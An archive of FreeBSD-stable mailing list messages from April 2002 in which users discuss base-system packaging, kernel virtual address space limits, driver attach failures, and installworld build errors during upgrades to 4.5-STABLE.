Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15557.46037.660880.582373@guru.mired.org> Date: Tue, 23 Apr 2002 14:19:49 -0500 To: kudzu@tenebras.com Cc: Lucky Green , freebsd-stable@freebsd.org Subject: Re: /etc/defaults/rc.conf theory In-Reply-To: <3CC4E3D4.6010603@tenebras.com> References: <002d01c1ea7d$cf1cb060$c33a080a@LUCKYVAIO> <3CC4E3D4.6010603@tenebras.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.51 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <3CC4E3D4.6010603@tenebras.com>, Michael Sierchio typed: > > Depends on the user. My rc.conf has perhaps 15 lines and some of those > > are simply there because the OpenSSH and bind ports in STABLE tend to > > lag quite a bit behind the release and the port versions are installed > > in different directories than the those that come with the default > > FreeBSD distribution. > Same here. And here. > But it is UTTERLY ABSURD that everything isn't installed as a package -- > even those components in the base system, so they can be removed and > replaced with, for example, the ports versions. True. If you want to contribute towards changing this, the libh project is looking for people. > I don't run BIND or Sendwhale^H^H^H^H^Hmail. I want the version of > OpenSSH in the ports. And why the heck is OpenSSL in the system? Because SSH is considered part of a complete system. > It's extremely difficult to track -STABLE or -SECURITY and maintain > a configuration used in a professional environment. I'm happy for > hobbyists to do as they please, but this is another barrier to > gaining acceptance for our favorite OS. I don't find it difficult at all. Then again, I make liberal use of the NO_* options in /etc/make.conf. I suggest you do the same. > The rationale for inclusion in the base system as opposed to ports > has usually been licensing issues. By some odd quirk, I've never heard any such rationale. > The trend toward including everything needs to STOP. We clearly aren't including "everything". There's lots of stuff that isn't included. In fact, the *only* two reasons I've ever run into for adding something to the base system was that 1) it's required to build part of the base system, or 2) it's become a critical component of a complete system. Some mailer and some ssh need to be part of the base system. If they aren't up to snuff for you and you aren't happy disabling things in the base system and installing ports, then you need to find someone to maintain a version you want as part of the base system, and then convince everyone else that this is better. Tracking OpenSSL/OpenSSH closer is probably an easy sell. The same is not true for sendmail. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 12:26: 8 2002 Delivered-To: freebsd-stable@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id CCC3537B47A; Tue, 23 Apr 2002 12:24:42 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 425CB1033E7; Tue, 23 Apr 2002 16:24:41 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id F33F71033E3; Tue, 23 Apr 2002 16:24:40 -0300 (ADT) Date: Tue, 23 Apr 2002 16:24:40 -0300 (ADT) From: "Marc G. Fournier" To: freebsd-stable@freebsd.org Cc: freebsd-multimedia@freebsd.org Subject: ASUS A7M266-D: enabling 'on board sound' Message-ID: <20020423150218.O1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Morning all ... Just recently picked up an ASUS A7M266-D Motherboard with Dual: "(AMD Athlon(TM) MP Processor (1200.05-MHz 686-class CPU)" ... the system purrs like the proverbial kitten ... but the one thing that is eluding me so far is getting the onboard sound to work ... I think I've gone through just about everything ... I enabled PNPBIOS in my kernel, made sure the sound device was enabled in the BIOS ... nadda ... The error I'm seeing in dmesg is: pcm0: at device 4.0 on pci2 pcm0: cmi_attach: Cannot allocate bus resource device_probe_and_attach: pcm0 attach returned 6 I've tried manually setting in the kernel: > strings /kernel | grep pcm0 pcm0_resources ___device pcm0 at isa? irq 5 drq 1 flags 0x0 but that hasn't made any difference ... Anyone have any experience with this board, or this chipset, that might be able to suggest a course of action here? thanks ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 12:27:19 2002 Delivered-To: freebsd-stable@freebsd.org Received: from harrier.prod.itd.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by hub.freebsd.org (Postfix) with ESMTP id 0D5C537B4A8; Tue, 23 Apr 2002 12:26:14 -0700 (PDT) Received: from pool0547.cvx22-bradley.dialup.earthlink.net ([209.179.200.37] helo=mindspring.com) by harrier.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1705vM-0006DW-00; Tue, 23 Apr 2002 12:26:00 -0700 Message-ID: <3CC5B52B.49A5A719@mindspring.com> Date: Tue, 23 Apr 2002 12:25:31 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: kalts@estpak.ee Cc: "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Vallo Kallaste wrote: > You can have up to ~12GB of usable swap space, as I've heard. Don't > remember why such arbitrary limit, unfortunately. Information about > such topics is spread over several lists arhives, usually the > subjects are strange, too.. so hard to find out. As I understand it > you are on the track, having 3GB allocated to KVA means 1GB for UVA, > whatever it exactly means. Userspace processes will allocate memory > from UVA space and can grow over 1GB of size if needed by swapping. > You can certainly have more than one over-1GB process going on at > the same time, but swapping will constrain your performance. > I'm sure Terry or some other knowledgeable person will correct me if > it doesn't make sense. Actually, you have a total concurrent virtual address space of 4G. If you assign 3G of that to KVA, then you can never exceed 1G of space for a user process, under any circumstances. This is because a given user process and kernel must be able to exist simultaneously in order to do things like copyin/copyout. > > Is there a reason why this stuff isn't auto-scaled based on RAM as > > it is? > > Probably lack of manpower, to code it up you'll have to understand > every bit of it, but as we currently see, we don't understand it, > probably many others as well :-) A lot of things are autosized. Matt Dillon made some recent changes in this regard. But many things happen based on expected usage. You can't auto-size the KVA because the kernel is relocated at the base of the KVA space. As far as it's concerned, it's loaded at 1M, and as far as processes are concerned, they're loaded in low memory. The main barrier to autosizing things so that expect usage is not an issue is that you have to preallocate page mappings, if not physical pages to back them, at boot time, for anything that can be allocated at interrupt time (e.g. mbufs). The other barrier here is that some things are grouped together that probably out to be seperate: e.g. "maxfiles" controls inpcb, tcpcb, and udpcb allocation, which occurs at boot time, as well as other limits that occur at runtime. So using the sysctl at runtime doesn't adjust everything you think it does, but doing it in /boot/loader.conf does. For the same reason, doing things like setting hash table sizes, and then adjusting things larger doesn't really work out very well, either. It really does boil down to understanding every bit of it... and the lack of resources to help you do that. Bryan Costales is not just "a lazy butt"... there are good, economic reasons that there isn't yet an updated "sendmail" book covering more recent versions of the "sendmail" program. Writing a useful (non-"fluff") technical book, optimistically, takes 2080 hours ... or 40 hours per week for 52 weeks... a man year. By the time you are done, the book is a year out of date, and even if you worked really hard and kept it up to date (e.g. you had 4 authors and spent only 6 months of wall time on the book), the shelf life on the book is still pretty short. The recent "How do I change my KVA size?" question is a good example: a book that came out six months ago would have needed four revisions, based on the changes to the "config" program and the code involved, and would be out of date for 4.5-STABLE, 5.0-RELEASE, and 4.6-RELEASE (when it comes out). At that point, the online version's addenda/errata is so much more useful than the book itself, that there's really no good justification for buying the bok instead of just looking at the online information: it's a totally different set of information. If FreeBSD wants someone to write an in depth book, it's got to have a commitment to not change some basic principles and code for long enough for the book to be useful with something more than just a really old CDROM included in the book itself. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 12:32:29 2002 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with ESMTP id 1296837B427 for ; Tue, 23 Apr 2002 12:32:00 -0700 (PDT) Received: (from mwm@localhost) by guru.mired.org (8.11.1/8.11.2) id g3NJVtf38477 for freebsd-stable@freebsd.org; Tue, 23 Apr 2002 14:31:55 -0500 (CDT) (envelope-from mwm-dated-1020022315.fbc861@mired.org) X-Authentication-Warning: guru.mired.org: mwm set sender to mwm-dated-1020022315.fbc861@mired.org using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15557.46755.995542.389579@guru.mired.org> Date: Tue, 23 Apr 2002 14:31:47 -0500 To: Erlend Simonsen Cc: freebsd-hardware@freebsd.org, freebsd-stable@freebsd.org Subject: Re: SiS 645 Chipset / SiS 900 NIC / FreeBSD 4.5 STABLE In-Reply-To: References: X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.51 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In , Erlend Simonsen typed: > I have a machine with an ASUS P4S333-M/SWA/LAN/REALTEK-UAY motherboard > where I'm having some problems getting the onboard SiS 900 nic to work. > It works fine under linux-2.4.19, but not on any of the *BSDs. =( > > GENERIC kernel & custom kernels, none work. > > dmesg : > sis0: port 0xb000-0xb0ff mem > 0xe5800000-0xe5800fff irq 10 at device 3.0 on pic 0 > sis0: Ethernet address: 00:e0:18:68:40:7d > sis0: MII without any PHY! > device_probe_and_attach: sis0 attach returned 6 > > pciconf -l : > none0@pci0:3:0: class=0x020000 card=0x807c1043 chip=0x09001039 rev=0x90 > hdr=0x00 > > Are there any known patches that fixes this problem? It was fixed in 4.5-stable shortly after 4.5-RELEASE. If you're running a system that hasn't been updated in three or so months, try updating and see if that fixes the problem. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 12:56: 5 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mailtest.btconnex.net (mailtest.btconnex.net [209.47.192.8]) by hub.freebsd.org (Postfix) with SMTP id 336B437B432 for ; Tue, 23 Apr 2002 12:55:31 -0700 (PDT) Received: (qmail 92899 invoked from network); 23 Apr 2002 19:51:41 -0000 Received: from unknown (HELO ?192.168.66.55?) (192.168.66.55) by mailtest.btconnex.net with SMTP; 23 Apr 2002 19:51:41 -0000 Date: Tue, 23 Apr 2002 15:53:29 -0400 (EDT) From: Elliott Perrin X-X-Sender: To: Kent Stewart Cc: "freebsd-stable@FreeBSD.ORG" Subject: Re: Break in installworld, cvsup'ed today In-Reply-To: <3CC5B3B1.3040008@owt.com> Message-ID: <20020423155202.N520-100000@decalpha.beanfield.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Just jumped back on the system.... I was in single user mode, and was using make -j4 installworld I switched back to multi-user and used just a straight make installworld, it just finished up 2 minutes ago. Must have been from the -j4 flag. Thanks, Elliott Perrin eperrin@beanfield.com On Apr 23, 2002: Kent Stewart eloquently stated the following: > > > Elliott Perrin wrote: > > > Please cc me on any replies, I am not on freebsd-stable list > > > > I just cvsup'ed my home machine from 4.3-STABLE to 4.5-STABLE today, and > > the installworld is failing at > > > > install -c -o root -g wheel -m 444 rmdir.1.gz /usr/share/man/man1 > > ===> bin/sh > > install -c -s -o root -g wheel -m 555 sh /bin > > Could not execute shell > > *** Error code 1 > > 1 error > > *** Error code 2 > > 1 error > > *** Error code 2 > > 1 error > > *** Error code 2 > > 1 error > > *** Error code 2 > > 1 error > > *** Error code 2 > > 1 error > > > > > > Anyone have a quick workaround / fix for this? Anyone else seen this. > > > > cvsup was done this morning at around 10:30AM EDT from cvsup3.freebsd.org > > > > > I don't have a fix but I just finished cvsuping to RELENG_4 and didn't > have any problems updating my system. > > Kent > > > -- > Kent Stewart > Richland, WA > > http://users.owt.com/kstewart/index.html > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 13: 4:58 2002 Delivered-To: freebsd-stable@freebsd.org Received: from perd1.estpak.ee (ld1.estpak.ee [194.126.101.98]) by hub.freebsd.org (Postfix) with ESMTP id E043837B42A; Tue, 23 Apr 2002 13:04:50 -0700 (PDT) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by perd1.estpak.ee (Postfix) with ESMTP id B7E7888077; Tue, 23 Apr 2002 23:04:49 +0300 (EEST) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.2/8.12.2) with ESMTP id g3NK4nC9030807; Tue, 23 Apr 2002 23:04:49 +0300 (EEST) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.2/8.12.2/Submit) id g3NK4nnm030806; Tue, 23 Apr 2002 23:04:49 +0300 (EEST) Date: Tue, 23 Apr 2002 23:04:49 +0300 From: Vallo Kallaste To: Terry Lambert Cc: kalts@estpak.ee, "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020423200449.GA30662@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <3CC5B52B.49A5A719@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3CC5B52B.49A5A719@mindspring.com> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 12:25:31PM -0700, Terry Lambert wrote: > Vallo Kallaste wrote: > > You can have up to ~12GB of usable swap space, as I've heard. Don't > > remember why such arbitrary limit, unfortunately. Information about > > such topics is spread over several lists arhives, usually the > > subjects are strange, too.. so hard to find out. As I understand it > > you are on the track, having 3GB allocated to KVA means 1GB for UVA, > > whatever it exactly means. Userspace processes will allocate memory > > from UVA space and can grow over 1GB of size if needed by swapping. > > You can certainly have more than one over-1GB process going on at > > the same time, but swapping will constrain your performance. > > I'm sure Terry or some other knowledgeable person will correct me if > > it doesn't make sense. > > Actually, you have a total concurrent virtual address space of 4G. > > If you assign 3G of that to KVA, then you can never exceed 1G of > space for a user process, under any circumstances. > > This is because a given user process and kernel must be able > to exist simultaneously in order to do things like copyin/copyout. Hmm, ok, but can we have more than one 1G user process at one time? Four 500MB ones and so on? Somehow I've made such conclusion based on previous information. Should be so, otherwise I don't understand how swapping will fit into overall picture. -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 13:22: 5 2002 Delivered-To: freebsd-stable@freebsd.org Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [205.147.43.8]) by hub.freebsd.org (Postfix) with ESMTP id 6694D37B41C; Tue, 23 Apr 2002 13:21:32 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g3NKKJb38154; Tue, 23 Apr 2002 13:20:19 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200204232020.g3NKKJb38154@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 23 Apr 2002 13:20:14 -0700 From: Dave Hayes Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Terry Lambert (who fits my arbitrary definition of a "good" cynic) writes: > It's a hazard of Open Source projects, in general, that there are > so many people hacking on whatever they think is cool that nothing > ever really gets built to a long term design plan that's stable > enough that a book stands a chance of having a 1 year lifetime. I could not help but notice your multiple attempts at expresing this particular concept often, that is...an implied necessity of a book that explains what's going on under the kernel hood. I agree that such a book would rapidly be out of date, but I also see the necessity thereof. So, it's time to question the assumption that the information you want available should be in "a book". Many websites have "annotation" as a form of ad-hoc documentation (e.g. php.net). Why not have someone take a crack at documenting the FreeBSD kernel, and perhaps use some annotation feature to create a "living" document which (hopefully) comes close to describing the kernel architechture? If you want to track a moving target, perhaps you need to use a moving track? ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< "What's so special about the Net? People -still- don't listen..." -The Unknown Drummer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 13:49:46 2002 Delivered-To: freebsd-stable@freebsd.org Received: from out-mx1.crosswinds.net (out-mx1.crosswinds.net [216.18.117.38]) by hub.freebsd.org (Postfix) with ESMTP id 2AF4137B400 for ; Tue, 23 Apr 2002 13:49:40 -0700 (PDT) Received: from admin.crosswinds.net (out-mx1.crosswinds.net [216.18.117.38]) by out-mx1.crosswinds.net (Postfix) with ESMTP id 1BF8850DA7; Tue, 23 Apr 2002 14:55:34 -0400 (EDT) Received: by admin.crosswinds.net (Postfix, from userid 1001) id CC8513F0A; Tue, 23 Apr 2002 14:55:33 -0400 (EDT) Date: Tue, 23 Apr 2002 14:55:33 -0400 From: Tony Holmes To: freebsd-stable@freebsd.org Cc: Elliott Perrin Subject: Re: Break in installworld, cvsup'ed today Message-ID: <20020423145533.A48572@crosswinds.net> References: <20020423132108.V520-100000@decalpha.beanfield.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020423132108.V520-100000@decalpha.beanfield.net>; from eperrin@beanfield.com on Tue, Apr 23, 2002 at 01:25:59PM -0400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On +Apr 23, Elliott Perrin wrote: > Please cc me on any replies, I am not on freebsd-stable list > > I just cvsup'ed my home machine from 4.3-STABLE to 4.5-STABLE today, and > the installworld is failing at I'm having similar/related issues on the installworld. Going from 4.5-RELEASE to 4.5-STABLE, cvsup'd at approx 2pm from cvsup5.freebsd.org PATH=$PATH:/usr/games:/usr/obj/usr/src/games/fortune/datfiles/../strfile strfile -Crs /usr/src/games/fortune/datfiles/murphy murphy.dat install -c -o root -g wheel -m 444 murphy.dat /usr/share/games/fortune/murphy.dat install -c -o root -g wheel -m 444 startrek.dat /usr/share/games/fortune/startrek.dat install -c -o root -g wheel -m 444 zippy.dat /usr/share/games/fortune/zippy.dat tr a-zA-Z n-za-mN-ZA-M < /usr/src/games/fortune/datfiles/fortunes-o.real > fortunes-o tr: not found *** Error code 127 Stop in /usr/src/games/fortune/datfiles. *** Error code 1 Stop in /usr/src/games/fortune. *** Error code 1 Stop in /usr/src/games. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. -- Tony Holmes Founder and Senior Systems Architect Crosswinds Internet Communications Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 13:50:53 2002 Delivered-To: freebsd-stable@freebsd.org Received: from tao.thought.org (sense-kline-249.oz.net [216.39.168.249]) by hub.freebsd.org (Postfix) with ESMTP id 51CC637B400 for ; Tue, 23 Apr 2002 13:50:48 -0700 (PDT) Received: (from kline@localhost) by tao.thought.org (8.11.3/8.11.3) id g3NKojV50939; Tue, 23 Apr 2002 13:50:45 -0700 (PDT) (envelope-from kline) From: Gary Kline Message-Id: <200204232050.g3NKojV50939@tao.thought.org> Subject: re Galeon To: freebsd-stable@FreeBSD.ORG Date: Tue, 23 Apr 2002 13:50:45 -0700 (PDT) Organization: <> thought.org: pvblic service Unix since 1986... <> X-Mailer: ELM [version 2.5 PL5] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Guys, I recently upgraded by binary to get the latest galeon. I expected it to work out of the box, but it couldn't find libintl.so.1. I symlink'd linintl.so.2 -> libintl.so.1 and the browser worked. (??) Usually (99.9%) I build from scratch, but this one kept failing. And I've got the newest mozilla. I _have_ had some troubles in upgrading some of the ports... but if I do things just-right the newer version usually installs. Can anybody clue me in re galeon? It seems like a nice front end. tia, gary PS: I'm sticking with 4.4S until 4.6 is stable. -- Gary Kline kline@thought.org www.thought.org Public service Unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 13:57:49 2002 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with ESMTP id 3ECDA37B430 for ; Tue, 23 Apr 2002 13:57:22 -0700 (PDT) Received: (from mwm@localhost) by guru.mired.org (8.11.1/8.11.2) id g3ME3Ne16011 for FreeBSD-stable@freebsd.org; Mon, 22 Apr 2002 09:03:23 -0500 (CDT) (envelope-from mwm-dated-1019916203.2a5fc3@mired.org) X-Authentication-Warning: guru.mired.org: mwm set sender to mwm-dated-1019916203.2a5fc3@mired.org using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15556.6182.473948.341821@guru.mired.org> Date: Mon, 22 Apr 2002 09:03:18 -0500 To: Fictif Cc: FreeBSD ML Subject: Re: Ports dealing with non-root users suggestion In-Reply-To: <20020422124051.A79219@mysticjah.org> References: <20020422124051.A79219@mysticjah.org> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.51 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <20020422124051.A79219@mysticjah.org>, Fictif typed: > The idea is to allow normal users to use the ports dir to install apps. > I think it's an interesting idea to allow users to keep a clean home dir > and this would allow the Admin to know what apps users are using... Then > a script could link the existing apps existing on different users > account toward a same location (btw,just in case the app was not > installed by the Admin). > > Here is the idea which implies many features and requirements (like > a dir for 'users ports' -needed for various libs, shared docs or > logs files- which doesn't depend on the usual dirs). I don't see > bigs troubles implied by this way of installing apps but you > propably do (That's why I'm posting). Ok, to answer the implied question, the problem here is that you can't blindly install new ports. Doing that is liable to break old ports. For instance, if someone installs enscript-letter, that will be hosed if someone later installs enscript-a4 or enscript-letterdj. Ditto for various things like pth and pth-devel. You can solve this, since you're apparently going to be working on the ports software anyway. You need to add a check to verify that no software is going to overwrite other software, and provide way to override that for root. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 14:18:18 2002 Delivered-To: freebsd-stable@freebsd.org Received: from manor.msen.com (manor.msen.com [148.59.4.66]) by hub.freebsd.org (Postfix) with ESMTP id AFC7A37B417 for ; Tue, 23 Apr 2002 14:18:10 -0700 (PDT) Received: (from wayne@localhost) by manor.msen.com (8.9.3/8.9.3) id RAA11521 for freebsd-stable@FreeBSD.ORG; Tue, 23 Apr 2002 17:18:10 -0400 (EDT) (envelope-from wayne) Date: Tue, 23 Apr 2002 17:18:09 -0400 From: "Michael R. Wayne" To: "'freebsd-stable@freeBSD.org'" Subject: Re: Belkin 8-port KVM = keyboard inactive Message-ID: <20020423171809.Q16930@staff.msen.com> References: <51CC94132526754995E79DCF28C0C34D09B681@exchange.cigital.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <51CC94132526754995E79DCF28C0C34D09B681@exchange.cigital.com>; from yanek@cigital.com on Thu, Apr 18, 2002 at 04:53:27PM -0400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > No, he had it right; it's the atkbd flags. It's a pain in the ass. Yes it is. FreeBSD needs a sysctl that just forces the AT keyboard on. I started digging into the code to try this but got confused and didn't get any f4eedback info on it so I abandoned the project. /\/\ \/\/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 14:21:12 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 08BF237B41B for ; Tue, 23 Apr 2002 14:20:58 -0700 (PDT) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id OAA05131; Tue, 23 Apr 2002 14:20:55 -0700 Message-ID: <3CC5D036.8070404@owt.com> Date: Tue, 23 Apr 2002 14:20:54 -0700 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 X-Accept-Language: en-us, es-mx MIME-Version: 1.0 To: Elliott Perrin Cc: "freebsd-stable@FreeBSD.ORG" Subject: Re: Break in installworld, cvsup'ed today References: <20020423155202.N520-100000@decalpha.beanfield.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Elliott Perrin wrote: > Just jumped back on the system.... > > I was in single user mode, and was using make -j4 installworld > > I switched back to multi-user and used just a straight make installworld, > it just finished up 2 minutes ago. Must have been from the -j4 flag. The -jx isn't supported on the installworld as far as I know. If you have a single cpu, you might try the buildworld without a -j. On my fast cpus, the -j4 runs about 20% slower than with no -j specified. Kent > > Thanks, > Elliott Perrin > eperrin@beanfield.com > > On Apr 23, 2002: Kent Stewart eloquently stated the following: > > >> >>Elliott Perrin wrote: >> >> >>>Please cc me on any replies, I am not on freebsd-stable list >>> >>>I just cvsup'ed my home machine from 4.3-STABLE to 4.5-STABLE today, and >>>the installworld is failing at >>> >>>install -c -o root -g wheel -m 444 rmdir.1.gz /usr/share/man/man1 >>>===> bin/sh >>>install -c -s -o root -g wheel -m 555 sh /bin >>>Could not execute shell >>>*** Error code 1 >>>1 error >>>*** Error code 2 >>>1 error >>>*** Error code 2 >>>1 error >>>*** Error code 2 >>>1 error >>>*** Error code 2 >>>1 error >>>*** Error code 2 >>>1 error >>> >>> >>>Anyone have a quick workaround / fix for this? Anyone else seen this. >>> >>>cvsup was done this morning at around 10:30AM EDT from cvsup3.freebsd.org >>> >>> >> >>I don't have a fix but I just finished cvsuping to RELENG_4 and didn't >>have any problems updating my system. >> >>Kent >> >> >>-- >>Kent Stewart >>Richland, WA >> >>http://users.owt.com/kstewart/index.html >> >> >> > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the 